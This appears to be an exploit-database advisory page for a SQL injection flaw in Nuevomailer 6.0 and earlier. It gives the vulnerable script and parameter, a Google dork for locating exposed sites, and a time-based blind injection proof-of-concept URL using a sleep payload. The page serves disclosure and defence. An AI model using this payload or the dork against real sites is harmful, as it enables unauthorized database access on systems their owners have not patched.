header-logo
Suggest Exploit
vendor:
Nuevomailer
by:
ALEH BOITSAU
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Nuevomailer
Affected Version From: 6.0
Affected Version To: 6.0
Patch Exists: NO
Related CWE: None
CPE: a:nuevomailer:nuevomailer
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2017

Nuevo mailer version <= 6.0 SQL Injection

Nuevo mailer version 6.0 and below is vulnerable to SQL injection. The vulnerable script is rdr.php and the vulnerable parameter is r. The proof of concept is to send a request to the vulnerable script with the vulnerable parameter and a malicious payload. For example, https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

Mitigation:

The vendor has been notified and a patch is expected.
Source

Exploit-DB raw data:

# Exploit Title: Nuevo mailer version <= 6.0 SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date:  2017-06-09
# Vendor Homepage:  https://www.nuevomailer.com/
# Version: 6.0 and below
# Tested on: Linux

Vulnerable script: rdr.php
Vulnerable parameter: r

PoC:
https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

NB: vendor has been notified.

Navigation

Suggest Exploit

Services By CQR